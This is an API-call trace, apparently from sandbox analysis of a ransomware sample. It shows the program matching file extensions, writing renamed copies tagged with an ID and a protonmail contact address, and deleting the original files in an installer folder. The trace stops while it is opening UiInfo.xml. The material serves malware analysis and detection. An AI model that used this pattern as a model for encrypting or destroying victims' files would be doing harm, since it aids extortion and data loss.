	[0072.569] lstrlenW (lpString="C:\\588bce7c90097ed212\\3082\\eula.rtf") returned 35
	[0072.569] lstrlenW (lpString=".jpg") returned 4
	[0072.569] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1
	[0072.569] lstrlenW (lpString="C:\\588bce7c90097ed212\\3082\\eula.rtf") returned 35
	[0072.569] lstrlenW (lpString="C:\\588bce7c90097ed212\\3082\\eula.rtf") returned 35
	[0072.569] lstrlenW (lpString=".doc") returned 4
	[0072.569] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1
	[0072.569] lstrlenW (lpString=".docx") returned 5
	[0072.569] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1
	[0072.569] lstrlenW (lpString=".pdf") returned 4
	[0072.569] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1
	[0072.569] lstrlenW (lpString=".xls") returned 4
	[0072.569] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1
	[0072.569] lstrlenW (lpString=".xlsx") returned 5
	[0072.569] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1
	[0072.569] lstrlenW (lpString=".ppt") returned 4
	[0072.569] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1
	[0072.569] lstrlenW (lpString="C:\\588bce7c90097ed212\\3082\\eula.rtf") returned 35
	[0072.569] lstrlenW (lpString=".zip") returned 4
	[0072.569] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1
	[0072.569] lstrlenW (lpString=".rar") returned 4
	[0072.569] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1
	[0072.569] lstrlenW (lpString=".bz2") returned 4
	[0072.569] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1
	[0072.569] lstrlenW (lpString=".7z") returned 3
	[0072.569] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1
	[0072.569] lstrlenW (lpString="C:\\588bce7c90097ed212\\3082\\eula.rtf") returned 35
	[0072.569] lstrlenW (lpString=".dbf") returned 4
	[0072.569] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1
	[0072.569] lstrlenW (lpString="C:\\588bce7c90097ed212\\3082\\eula.rtf") returned 35
	[0072.569] lstrlenW (lpString=".1cd") returned 4
	[0072.569] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1
	[0072.570] lstrlenW (lpString="C:\\588bce7c90097ed212\\3082\\eula.rtf") returned 35
	[0072.570] lstrlenW (lpString=".jpg") returned 4
	[0072.570] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1
	[0072.570] lstrcmpiW (lpString1=".xsd", lpString2=".Z9") returned -1
	[0072.570] lstrlenW (lpString="SetupUi.xsd") returned 11
	[0072.570] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\SetupUi.xsd" (normalized: "c:\\588bce7c90097ed212\\setupui.xsd"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368
	[0072.570] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x260ff14 | out: lpFileSize=0x260ff14*=30120) returned 1
	[0072.570] CloseHandle (hObject=0x368) returned 1
	[0072.570] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\SetupUi.xsd" (normalized: "c:\\588bce7c90097ed212\\setupui.xsd")) returned 0x80
	[0072.570] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\SetupUi.xsd.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\588bce7c90097ed212\\setupui.xsd.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0072.570] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\SetupUi.xsd" (normalized: "c:\\588bce7c90097ed212\\setupui.xsd"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368
	[0072.570] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x260fec0 | out: lpNewFilePointer=0x0) returned 1
	[0072.570] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x260fec0 | out: lpNewFilePointer=0x0) returned 1
	[0072.571] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\SetupUi.xsd.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\588bce7c90097ed212\\setupui.xsd.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370
	[0072.571] GetLastError () returned 0x0
	[0072.571] ReadFile (in: hFile=0x368, lpBuffer=0x2e9c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x260fecc, lpOverlapped=0x0 | out: lpBuffer=0x2e9c020*, lpNumberOfBytesRead=0x260fecc*=0x75a8, lpOverlapped=0x0) returned 1
	[0072.573] WriteFile (in: hFile=0x370, lpBuffer=0x2e9c020*, nNumberOfBytesToWrite=0x75b0, lpNumberOfBytesWritten=0x260fc94, lpOverlapped=0x0 | out: lpBuffer=0x2e9c020*, lpNumberOfBytesWritten=0x260fc94*=0x75b0, lpOverlapped=0x0) returned 1
	[0072.574] ReadFile (in: hFile=0x368, lpBuffer=0x2e9c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x260fecc, lpOverlapped=0x0 | out: lpBuffer=0x2e9c020*, lpNumberOfBytesRead=0x260fecc*=0x0, lpOverlapped=0x0) returned 1
	[0072.575] WriteFile (in: hFile=0x370, lpBuffer=0x2e9c020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x260fc94, lpOverlapped=0x0 | out: lpBuffer=0x2e9c020*, lpNumberOfBytesWritten=0x260fc94*=0xea, lpOverlapped=0x0) returned 1
	[0072.575] SetEndOfFile (hFile=0x370) returned 1
	[0072.575] CloseHandle (hObject=0x370) returned 1
	[0072.576] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x260fec0 | out: lpNewFilePointer=0x0) returned 1
	[0072.576] SetEndOfFile (hFile=0x368) returned 1
	[0072.577] CloseHandle (hObject=0x368) returned 1
	[0072.577] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\SetupUi.xsd.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x80) returned 1
	[0072.578] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\SetupUi.xsd" (normalized: "c:\\588bce7c90097ed212\\setupui.xsd")) returned 1
	[0072.578] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupUi.xsd") returned 33
	[0072.578] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupUi.xsd") returned 33
	[0072.578] lstrlenW (lpString=".doc") returned 4
	[0072.578] lstrcmpiW (lpString1=".doc", lpString2=".xsd") returned -1
	[0072.578] lstrlenW (lpString=".docx") returned 5
	[0072.578] lstrcmpiW (lpString1=".docx", lpString2="i.xsd") returned -1
	[0072.578] lstrlenW (lpString=".pdf") returned 4
	[0072.578] lstrcmpiW (lpString1=".pdf", lpString2=".xsd") returned -1
	[0072.578] lstrlenW (lpString=".xls") returned 4
	[0072.578] lstrcmpiW (lpString1=".xls", lpString2=".xsd") returned -1
	[0072.578] lstrlenW (lpString=".xlsx") returned 5
	[0072.578] lstrcmpiW (lpString1=".xlsx", lpString2="i.xsd") returned -1
	[0072.578] lstrlenW (lpString=".ppt") returned 4
	[0072.579] lstrcmpiW (lpString1=".ppt", lpString2=".xsd") returned -1
	[0072.579] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupUi.xsd") returned 33
	[0072.579] lstrlenW (lpString=".zip") returned 4
	[0072.579] lstrcmpiW (lpString1=".zip", lpString2=".xsd") returned 1
	[0072.579] lstrlenW (lpString=".rar") returned 4
	[0072.579] lstrcmpiW (lpString1=".rar", lpString2=".xsd") returned -1
	[0072.579] lstrlenW (lpString=".bz2") returned 4
	[0072.579] lstrcmpiW (lpString1=".bz2", lpString2=".xsd") returned -1
	[0072.579] lstrlenW (lpString=".7z") returned 3
	[0072.579] lstrcmpiW (lpString1=".7z", lpString2="xsd") returned -1
	[0072.579] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupUi.xsd") returned 33
	[0072.579] lstrlenW (lpString=".dbf") returned 4
	[0072.579] lstrcmpiW (lpString1=".dbf", lpString2=".xsd") returned -1
	[0072.579] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupUi.xsd") returned 33
	[0072.579] lstrlenW (lpString=".1cd") returned 4
	[0072.579] lstrcmpiW (lpString1=".1cd", lpString2=".xsd") returned -1
	[0072.579] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupUi.xsd") returned 33
	[0072.579] lstrlenW (lpString=".jpg") returned 4
	[0072.579] lstrcmpiW (lpString1=".jpg", lpString2=".xsd") returned -1
	[0072.579] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupUi.xsd") returned 33
	[0072.579] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupUi.xsd") returned 33
	[0072.579] lstrlenW (lpString=".doc") returned 4
	[0072.579] lstrcmpiW (lpString1=".doc", lpString2=".xsd") returned -1
	[0072.579] lstrlenW (lpString=".docx") returned 5
	[0072.579] lstrcmpiW (lpString1=".docx", lpString2="i.xsd") returned -1
	[0072.579] lstrlenW (lpString=".pdf") returned 4
	[0072.579] lstrcmpiW (lpString1=".pdf", lpString2=".xsd") returned -1
	[0072.579] lstrlenW (lpString=".xls") returned 4
	[0072.579] lstrcmpiW (lpString1=".xls", lpString2=".xsd") returned -1
	[0072.579] lstrlenW (lpString=".xlsx") returned 5
	[0072.579] lstrcmpiW (lpString1=".xlsx", lpString2="i.xsd") returned -1
	[0072.579] lstrlenW (lpString=".ppt") returned 4
	[0072.579] lstrcmpiW (lpString1=".ppt", lpString2=".xsd") returned -1
	[0072.580] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupUi.xsd") returned 33
	[0072.580] lstrlenW (lpString=".zip") returned 4
	[0072.580] lstrcmpiW (lpString1=".zip", lpString2=".xsd") returned 1
	[0072.580] lstrlenW (lpString=".rar") returned 4
	[0072.580] lstrcmpiW (lpString1=".rar", lpString2=".xsd") returned -1
	[0072.580] lstrlenW (lpString=".bz2") returned 4
	[0072.580] lstrcmpiW (lpString1=".bz2", lpString2=".xsd") returned -1
	[0072.580] lstrlenW (lpString=".7z") returned 3
	[0072.580] lstrcmpiW (lpString1=".7z", lpString2="xsd") returned -1
	[0072.580] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupUi.xsd") returned 33
	[0072.580] lstrlenW (lpString=".dbf") returned 4
	[0072.580] lstrcmpiW (lpString1=".dbf", lpString2=".xsd") returned -1
	[0072.580] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupUi.xsd") returned 33
	[0072.580] lstrlenW (lpString=".1cd") returned 4
	[0072.580] lstrcmpiW (lpString1=".1cd", lpString2=".xsd") returned -1
	[0072.580] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupUi.xsd") returned 33
	[0072.580] lstrlenW (lpString=".jpg") returned 4
	[0072.580] lstrcmpiW (lpString1=".jpg", lpString2=".xsd") returned -1
	[0072.580] lstrcmpiW (lpString1=".bmp", lpString2=".Z9") returned -1
	[0072.580] lstrlenW (lpString="SplashScreen.bmp") returned 16
	[0072.580] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\SplashScreen.bmp" (normalized: "c:\\588bce7c90097ed212\\splashscreen.bmp"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368
	[0072.581] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x260ff14 | out: lpFileSize=0x260ff14*=41080) returned 1
	[0072.581] CloseHandle (hObject=0x368) returned 1
	[0072.581] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\SplashScreen.bmp" (normalized: "c:\\588bce7c90097ed212\\splashscreen.bmp")) returned 0x80
	[0072.581] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\SplashScreen.bmp.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\588bce7c90097ed212\\splashscreen.bmp.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0072.581] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\SplashScreen.bmp" (normalized: "c:\\588bce7c90097ed212\\splashscreen.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368
	[0072.581] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x260fec0 | out: lpNewFilePointer=0x0) returned 1
	[0072.581] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x260fec0 | out: lpNewFilePointer=0x0) returned 1
	[0072.581] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\SplashScreen.bmp.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\588bce7c90097ed212\\splashscreen.bmp.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370
	[0072.581] GetLastError () returned 0x0
	[0072.581] ReadFile (in: hFile=0x368, lpBuffer=0x2e9c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x260fecc, lpOverlapped=0x0 | out: lpBuffer=0x2e9c020*, lpNumberOfBytesRead=0x260fecc*=0xa078, lpOverlapped=0x0) returned 1
	[0072.584] WriteFile (in: hFile=0x370, lpBuffer=0x2e9c020*, nNumberOfBytesToWrite=0xa080, lpNumberOfBytesWritten=0x260fc94, lpOverlapped=0x0 | out: lpBuffer=0x2e9c020*, lpNumberOfBytesWritten=0x260fc94*=0xa080, lpOverlapped=0x0) returned 1
	[0072.586] ReadFile (in: hFile=0x368, lpBuffer=0x2e9c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x260fecc, lpOverlapped=0x0 | out: lpBuffer=0x2e9c020*, lpNumberOfBytesRead=0x260fecc*=0x0, lpOverlapped=0x0) returned 1
	[0072.586] WriteFile (in: hFile=0x370, lpBuffer=0x2e9c020*, nNumberOfBytesToWrite=0xf4, lpNumberOfBytesWritten=0x260fc94, lpOverlapped=0x0 | out: lpBuffer=0x2e9c020*, lpNumberOfBytesWritten=0x260fc94*=0xf4, lpOverlapped=0x0) returned 1
	[0072.586] SetEndOfFile (hFile=0x370) returned 1
	[0072.586] CloseHandle (hObject=0x370) returned 1
	[0072.587] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x260fec0 | out: lpNewFilePointer=0x0) returned 1
	[0072.587] SetEndOfFile (hFile=0x368) returned 1
	[0072.589] CloseHandle (hObject=0x368) returned 1
	[0072.589] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\SplashScreen.bmp.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x80) returned 1
	[0072.592] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\SplashScreen.bmp" (normalized: "c:\\588bce7c90097ed212\\splashscreen.bmp")) returned 1
	[0072.592] lstrlenW (lpString="C:\\588bce7c90097ed212\\SplashScreen.bmp") returned 38
	[0072.592] lstrlenW (lpString="C:\\588bce7c90097ed212\\SplashScreen.bmp") returned 38
	[0072.592] lstrlenW (lpString=".doc") returned 4
	[0072.592] lstrcmpiW (lpString1=".doc", lpString2=".bmp") returned 1
	[0072.592] lstrlenW (lpString=".docx") returned 5
	[0072.593] lstrcmpiW (lpString1=".docx", lpString2="n.bmp") returned -1
	[0072.593] lstrlenW (lpString=".pdf") returned 4
	[0072.593] lstrcmpiW (lpString1=".pdf", lpString2=".bmp") returned 1
	[0072.593] lstrlenW (lpString=".xls") returned 4
	[0072.593] lstrcmpiW (lpString1=".xls", lpString2=".bmp") returned 1
	[0072.593] lstrlenW (lpString=".xlsx") returned 5
	[0072.593] lstrcmpiW (lpString1=".xlsx", lpString2="n.bmp") returned -1
	[0072.593] lstrlenW (lpString=".ppt") returned 4
	[0072.593] lstrcmpiW (lpString1=".ppt", lpString2=".bmp") returned 1
	[0072.593] lstrlenW (lpString="C:\\588bce7c90097ed212\\SplashScreen.bmp") returned 38
	[0072.593] lstrlenW (lpString=".zip") returned 4
	[0072.593] lstrcmpiW (lpString1=".zip", lpString2=".bmp") returned 1
	[0072.593] lstrlenW (lpString=".rar") returned 4
	[0072.593] lstrcmpiW (lpString1=".rar", lpString2=".bmp") returned 1
	[0072.593] lstrlenW (lpString=".bz2") returned 4
	[0072.593] lstrcmpiW (lpString1=".bz2", lpString2=".bmp") returned 1
	[0072.593] lstrlenW (lpString=".7z") returned 3
	[0072.593] lstrcmpiW (lpString1=".7z", lpString2="bmp") returned -1
	[0072.593] lstrlenW (lpString="C:\\588bce7c90097ed212\\SplashScreen.bmp") returned 38
	[0072.593] lstrlenW (lpString=".dbf") returned 4
	[0072.593] lstrcmpiW (lpString1=".dbf", lpString2=".bmp") returned 1
	[0072.593] lstrlenW (lpString="C:\\588bce7c90097ed212\\SplashScreen.bmp") returned 38
	[0072.593] lstrlenW (lpString=".1cd") returned 4
	[0072.593] lstrcmpiW (lpString1=".1cd", lpString2=".bmp") returned -1
	[0072.593] lstrlenW (lpString="C:\\588bce7c90097ed212\\SplashScreen.bmp") returned 38
	[0072.593] lstrlenW (lpString=".jpg") returned 4
	[0072.593] lstrcmpiW (lpString1=".jpg", lpString2=".bmp") returned 1
	[0072.593] lstrlenW (lpString="C:\\588bce7c90097ed212\\SplashScreen.bmp") returned 38
	[0072.593] lstrlenW (lpString="C:\\588bce7c90097ed212\\SplashScreen.bmp") returned 38
	[0072.593] lstrlenW (lpString=".doc") returned 4
	[0072.593] lstrcmpiW (lpString1=".doc", lpString2=".bmp") returned 1
	[0072.593] lstrlenW (lpString=".docx") returned 5
	[0072.593] lstrcmpiW (lpString1=".docx", lpString2="n.bmp") returned -1
	[0072.593] lstrlenW (lpString=".pdf") returned 4
	[0072.594] lstrcmpiW (lpString1=".pdf", lpString2=".bmp") returned 1
	[0072.594] lstrlenW (lpString=".xls") returned 4
	[0072.594] lstrcmpiW (lpString1=".xls", lpString2=".bmp") returned 1
	[0072.594] lstrlenW (lpString=".xlsx") returned 5
	[0072.594] lstrcmpiW (lpString1=".xlsx", lpString2="n.bmp") returned -1
	[0072.594] lstrlenW (lpString=".ppt") returned 4
	[0072.594] lstrcmpiW (lpString1=".ppt", lpString2=".bmp") returned 1
	[0072.594] lstrlenW (lpString="C:\\588bce7c90097ed212\\SplashScreen.bmp") returned 38
	[0072.594] lstrlenW (lpString=".zip") returned 4
	[0072.594] lstrcmpiW (lpString1=".zip", lpString2=".bmp") returned 1
	[0072.594] lstrlenW (lpString=".rar") returned 4
	[0072.594] lstrcmpiW (lpString1=".rar", lpString2=".bmp") returned 1
	[0072.594] lstrlenW (lpString=".bz2") returned 4
	[0072.594] lstrcmpiW (lpString1=".bz2", lpString2=".bmp") returned 1
	[0072.594] lstrlenW (lpString=".7z") returned 3
	[0072.594] lstrcmpiW (lpString1=".7z", lpString2="bmp") returned -1
	[0072.594] lstrlenW (lpString="C:\\588bce7c90097ed212\\SplashScreen.bmp") returned 38
	[0072.594] lstrlenW (lpString=".dbf") returned 4
	[0072.594] lstrcmpiW (lpString1=".dbf", lpString2=".bmp") returned 1
	[0072.594] lstrlenW (lpString="C:\\588bce7c90097ed212\\SplashScreen.bmp") returned 38
	[0072.594] lstrlenW (lpString=".1cd") returned 4
	[0072.594] lstrcmpiW (lpString1=".1cd", lpString2=".bmp") returned -1
	[0072.594] lstrlenW (lpString="C:\\588bce7c90097ed212\\SplashScreen.bmp") returned 38
	[0072.594] lstrlenW (lpString=".jpg") returned 4
	[0072.594] lstrcmpiW (lpString1=".jpg", lpString2=".bmp") returned 1
	[0072.594] lstrcmpiW (lpString1=".xml", lpString2=".Z9") returned -1
	[0072.594] lstrlenW (lpString="Strings.xml") returned 11
	[0072.594] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Strings.xml" (normalized: "c:\\588bce7c90097ed212\\strings.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368
	[0072.595] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x260ff14 | out: lpFileSize=0x260ff14*=14084) returned 1
	[0072.595] CloseHandle (hObject=0x368) returned 1
	[0072.595] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Strings.xml" (normalized: "c:\\588bce7c90097ed212\\strings.xml")) returned 0x80
	[0072.595] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Strings.xml.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\588bce7c90097ed212\\strings.xml.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0072.595] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Strings.xml" (normalized: "c:\\588bce7c90097ed212\\strings.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368
	[0072.595] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x260fec0 | out: lpNewFilePointer=0x0) returned 1
	[0072.595] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x260fec0 | out: lpNewFilePointer=0x0) returned 1
	[0072.595] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Strings.xml.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\588bce7c90097ed212\\strings.xml.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370
	[0072.595] GetLastError () returned 0x0
	[0072.595] ReadFile (in: hFile=0x368, lpBuffer=0x2e9c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x260fecc, lpOverlapped=0x0 | out: lpBuffer=0x2e9c020*, lpNumberOfBytesRead=0x260fecc*=0x3704, lpOverlapped=0x0) returned 1
	[0072.598] WriteFile (in: hFile=0x370, lpBuffer=0x2e9c020*, nNumberOfBytesToWrite=0x3710, lpNumberOfBytesWritten=0x260fc94, lpOverlapped=0x0 | out: lpBuffer=0x2e9c020*, lpNumberOfBytesWritten=0x260fc94*=0x3710, lpOverlapped=0x0) returned 1
	[0072.599] ReadFile (in: hFile=0x368, lpBuffer=0x2e9c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x260fecc, lpOverlapped=0x0 | out: lpBuffer=0x2e9c020*, lpNumberOfBytesRead=0x260fecc*=0x0, lpOverlapped=0x0) returned 1
	[0072.599] WriteFile (in: hFile=0x370, lpBuffer=0x2e9c020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x260fc94, lpOverlapped=0x0 | out: lpBuffer=0x2e9c020*, lpNumberOfBytesWritten=0x260fc94*=0xea, lpOverlapped=0x0) returned 1
	[0072.599] SetEndOfFile (hFile=0x370) returned 1
	[0072.599] CloseHandle (hObject=0x370) returned 1
	[0072.600] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x260fec0 | out: lpNewFilePointer=0x0) returned 1
	[0072.600] SetEndOfFile (hFile=0x368) returned 1
	[0072.601] CloseHandle (hObject=0x368) returned 1
	[0072.601] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Strings.xml.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x80) returned 1
	[0072.601] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\Strings.xml" (normalized: "c:\\588bce7c90097ed212\\strings.xml")) returned 1
	[0072.601] lstrlenW (lpString="C:\\588bce7c90097ed212\\Strings.xml") returned 33
	[0072.601] lstrlenW (lpString="C:\\588bce7c90097ed212\\Strings.xml") returned 33
	[0072.601] lstrlenW (lpString=".doc") returned 4
	[0072.601] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0072.601] lstrlenW (lpString=".docx") returned 5
	[0072.602] lstrcmpiW (lpString1=".docx", lpString2="s.xml") returned -1
	[0072.602] lstrlenW (lpString=".pdf") returned 4
	[0072.602] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0072.602] lstrlenW (lpString=".xls") returned 4
	[0072.602] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0072.602] lstrlenW (lpString=".xlsx") returned 5
	[0072.602] lstrcmpiW (lpString1=".xlsx", lpString2="s.xml") returned -1
	[0072.602] lstrlenW (lpString=".ppt") returned 4
	[0072.602] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0072.602] lstrlenW (lpString="C:\\588bce7c90097ed212\\Strings.xml") returned 33
	[0072.602] lstrlenW (lpString=".zip") returned 4
	[0072.602] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0072.602] lstrlenW (lpString=".rar") returned 4
	[0072.602] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0072.602] lstrlenW (lpString=".bz2") returned 4
	[0072.602] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0072.602] lstrlenW (lpString=".7z") returned 3
	[0072.602] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0072.602] lstrlenW (lpString="C:\\588bce7c90097ed212\\Strings.xml") returned 33
	[0072.602] lstrlenW (lpString=".dbf") returned 4
	[0072.602] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0072.602] lstrlenW (lpString="C:\\588bce7c90097ed212\\Strings.xml") returned 33
	[0072.602] lstrlenW (lpString=".1cd") returned 4
	[0072.602] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0072.602] lstrlenW (lpString="C:\\588bce7c90097ed212\\Strings.xml") returned 33
	[0072.602] lstrlenW (lpString=".jpg") returned 4
	[0072.602] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0072.602] lstrlenW (lpString="C:\\588bce7c90097ed212\\Strings.xml") returned 33
	[0072.602] lstrlenW (lpString="C:\\588bce7c90097ed212\\Strings.xml") returned 33
	[0072.602] lstrlenW (lpString=".doc") returned 4
	[0072.602] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0072.602] lstrlenW (lpString=".docx") returned 5
	[0072.602] lstrcmpiW (lpString1=".docx", lpString2="s.xml") returned -1
	[0072.603] lstrlenW (lpString=".pdf") returned 4
	[0072.603] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0072.603] lstrlenW (lpString=".xls") returned 4
	[0072.603] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0072.603] lstrlenW (lpString=".xlsx") returned 5
	[0072.603] lstrcmpiW (lpString1=".xlsx", lpString2="s.xml") returned -1
	[0072.603] lstrlenW (lpString=".ppt") returned 4
	[0072.603] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0072.603] lstrlenW (lpString="C:\\588bce7c90097ed212\\Strings.xml") returned 33
	[0072.603] lstrlenW (lpString=".zip") returned 4
	[0072.603] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0072.603] lstrlenW (lpString=".rar") returned 4
	[0072.603] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0072.603] lstrlenW (lpString=".bz2") returned 4
	[0072.603] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0072.603] lstrlenW (lpString=".7z") returned 3
	[0072.603] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0072.603] lstrlenW (lpString="C:\\588bce7c90097ed212\\Strings.xml") returned 33
	[0072.603] lstrlenW (lpString=".dbf") returned 4
	[0072.603] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0072.603] lstrlenW (lpString="C:\\588bce7c90097ed212\\Strings.xml") returned 33
	[0072.603] lstrlenW (lpString=".1cd") returned 4
	[0072.603] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0072.603] lstrlenW (lpString="C:\\588bce7c90097ed212\\Strings.xml") returned 33
	[0072.604] lstrlenW (lpString=".jpg") returned 4
	[0072.604] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0072.604] lstrcmpiW (lpString1=".xml", lpString2=".Z9") returned -1
	[0072.605] lstrlenW (lpString="UiInfo.xml") returned 10
	[0072.605] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\UiInfo.xml" (normalized: "c:\\588bce7c90097ed212\\uiinfo.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368
